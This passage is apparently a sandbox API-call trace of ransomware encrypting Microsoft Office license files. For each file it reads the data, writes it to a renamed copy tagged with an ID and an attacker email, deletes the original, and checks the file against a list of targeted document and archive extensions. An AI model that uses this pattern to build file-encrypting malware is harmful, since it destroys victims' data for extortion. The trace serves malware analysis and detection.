	[0173.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1
	[0173.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0173.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0173.478] lstrlenW (lpString=".doc") returned 4
	[0173.478] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.478] lstrlenW (lpString=".docx") returned 5
	[0173.479] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.479] lstrlenW (lpString=".pdf") returned 4
	[0173.479] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString=".xls") returned 4
	[0173.479] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString=".xlsx") returned 5
	[0173.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.479] lstrlenW (lpString=".ppt") returned 4
	[0173.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0173.479] lstrlenW (lpString=".zip") returned 4
	[0173.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString=".rar") returned 4
	[0173.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString=".bz2") returned 4
	[0173.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString=".7z") returned 3
	[0173.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0173.479] lstrlenW (lpString=".dbf") returned 4
	[0173.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0173.479] lstrlenW (lpString=".1cd") returned 4
	[0173.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0173.479] lstrlenW (lpString=".jpg") returned 4
	[0173.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.480] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11179) returned 1
	[0173.480] CloseHandle (hObject=0x484) returned 1
	[0173.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220
	[0173.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.481] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.481] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.482] GetLastError () returned 0x0
	[0173.482] ReadFile (in: hFile=0x484, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0173.693] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.695] ReadFile (in: hFile=0x484, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.695] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.695] SetEndOfFile (hFile=0x558) returned 1
	[0173.695] CloseHandle (hObject=0x558) returned 1
	[0173.696] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.696] SetEndOfFile (hFile=0x484) returned 1
	[0173.886] CloseHandle (hObject=0x484) returned 1
	[0173.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1
	[0173.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0173.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0173.924] lstrlenW (lpString=".doc") returned 4
	[0173.924] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.924] lstrlenW (lpString=".docx") returned 5
	[0173.924] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.924] lstrlenW (lpString=".pdf") returned 4
	[0173.924] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.924] lstrlenW (lpString=".xls") returned 4
	[0173.924] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.924] lstrlenW (lpString=".xlsx") returned 5
	[0173.924] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.924] lstrlenW (lpString=".ppt") returned 4
	[0173.924] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0173.924] lstrlenW (lpString=".zip") returned 4
	[0173.924] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.924] lstrlenW (lpString=".rar") returned 4
	[0173.924] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.924] lstrlenW (lpString=".bz2") returned 4
	[0173.925] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.925] lstrlenW (lpString=".7z") returned 3
	[0173.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0173.925] lstrlenW (lpString=".dbf") returned 4
	[0173.925] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0173.925] lstrlenW (lpString=".1cd") returned 4
	[0173.925] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0173.925] lstrlenW (lpString=".jpg") returned 4
	[0173.925] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.925] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11183) returned 1
	[0173.926] CloseHandle (hObject=0x574) returned 1
	[0173.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220
	[0173.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0173.927] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.927] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.928] GetLastError () returned 0x0
	[0173.928] ReadFile (in: hFile=0x574, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0173.930] WriteFile (in: hFile=0x57c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.932] ReadFile (in: hFile=0x574, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.932] WriteFile (in: hFile=0x57c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.932] SetEndOfFile (hFile=0x57c) returned 1
	[0173.932] CloseHandle (hObject=0x57c) returned 1
	[0173.932] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.932] SetEndOfFile (hFile=0x574) returned 1
	[0173.936] CloseHandle (hObject=0x574) returned 1
	[0173.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1
	[0173.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0173.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0173.937] lstrlenW (lpString=".doc") returned 4
	[0173.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.938] lstrlenW (lpString=".docx") returned 5
	[0173.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.938] lstrlenW (lpString=".pdf") returned 4
	[0173.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.938] lstrlenW (lpString=".xls") returned 4
	[0173.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.938] lstrlenW (lpString=".xlsx") returned 5
	[0173.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.938] lstrlenW (lpString=".ppt") returned 4
	[0173.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0173.938] lstrlenW (lpString=".zip") returned 4
	[0173.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.938] lstrlenW (lpString=".rar") returned 4
	[0173.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.939] lstrlenW (lpString=".bz2") returned 4
	[0173.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.939] lstrlenW (lpString=".7z") returned 3
	[0173.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0173.939] lstrlenW (lpString=".dbf") returned 4
	[0173.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0173.939] lstrlenW (lpString=".1cd") returned 4
	[0173.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0173.939] lstrlenW (lpString=".jpg") returned 4
	[0173.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.940] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=23135) returned 1
	[0173.940] CloseHandle (hObject=0x574) returned 1
	[0173.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0173.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0173.941] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.941] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.942] GetLastError () returned 0x0
	[0173.942] ReadFile (in: hFile=0x574, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0173.946] WriteFile (in: hFile=0x57c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0173.948] ReadFile (in: hFile=0x574, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.948] WriteFile (in: hFile=0x57c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x118, lpOverlapped=0x0) returned 1
	[0173.948] SetEndOfFile (hFile=0x57c) returned 1
	[0173.948] CloseHandle (hObject=0x57c) returned 1
	[0173.948] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.948] SetEndOfFile (hFile=0x574) returned 1
	[0173.953] CloseHandle (hObject=0x574) returned 1
	[0173.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1
	[0174.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0174.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0174.418] lstrlenW (lpString=".doc") returned 4
	[0174.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.418] lstrlenW (lpString=".docx") returned 5
	[0174.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.418] lstrlenW (lpString=".pdf") returned 4
	[0174.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.418] lstrlenW (lpString=".xls") returned 4
	[0174.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.418] lstrlenW (lpString=".xlsx") returned 5
	[0174.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.419] lstrlenW (lpString=".ppt") returned 4
	[0174.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0174.419] lstrlenW (lpString=".zip") returned 4
	[0174.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.419] lstrlenW (lpString=".rar") returned 4
	[0174.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.419] lstrlenW (lpString=".bz2") returned 4
	[0174.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.419] lstrlenW (lpString=".7z") returned 3
	[0174.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0174.419] lstrlenW (lpString=".dbf") returned 4
	[0174.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0174.419] lstrlenW (lpString=".1cd") returned 4
	[0174.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0174.419] lstrlenW (lpString=".jpg") returned 4
	[0174.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.420] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=23135) returned 1
	[0174.420] CloseHandle (hObject=0x4d8) returned 1
	[0174.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0174.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.421] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.421] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0174.423] GetLastError () returned 0x0
	[0174.423] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0174.437] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0174.439] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.439] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x118, lpOverlapped=0x0) returned 1
	[0174.439] SetEndOfFile (hFile=0x47c) returned 1
	[0174.439] CloseHandle (hObject=0x47c) returned 1
	[0174.439] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.439] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.443] CloseHandle (hObject=0x4d8) returned 1
	[0174.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 1
	[0174.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0174.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0174.445] lstrlenW (lpString=".doc") returned 4
	[0174.445] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString=".docx") returned 5
	[0174.445] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.445] lstrlenW (lpString=".pdf") returned 4
	[0174.445] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString=".xls") returned 4
	[0174.445] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString=".xlsx") returned 5
	[0174.445] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.445] lstrlenW (lpString=".ppt") returned 4
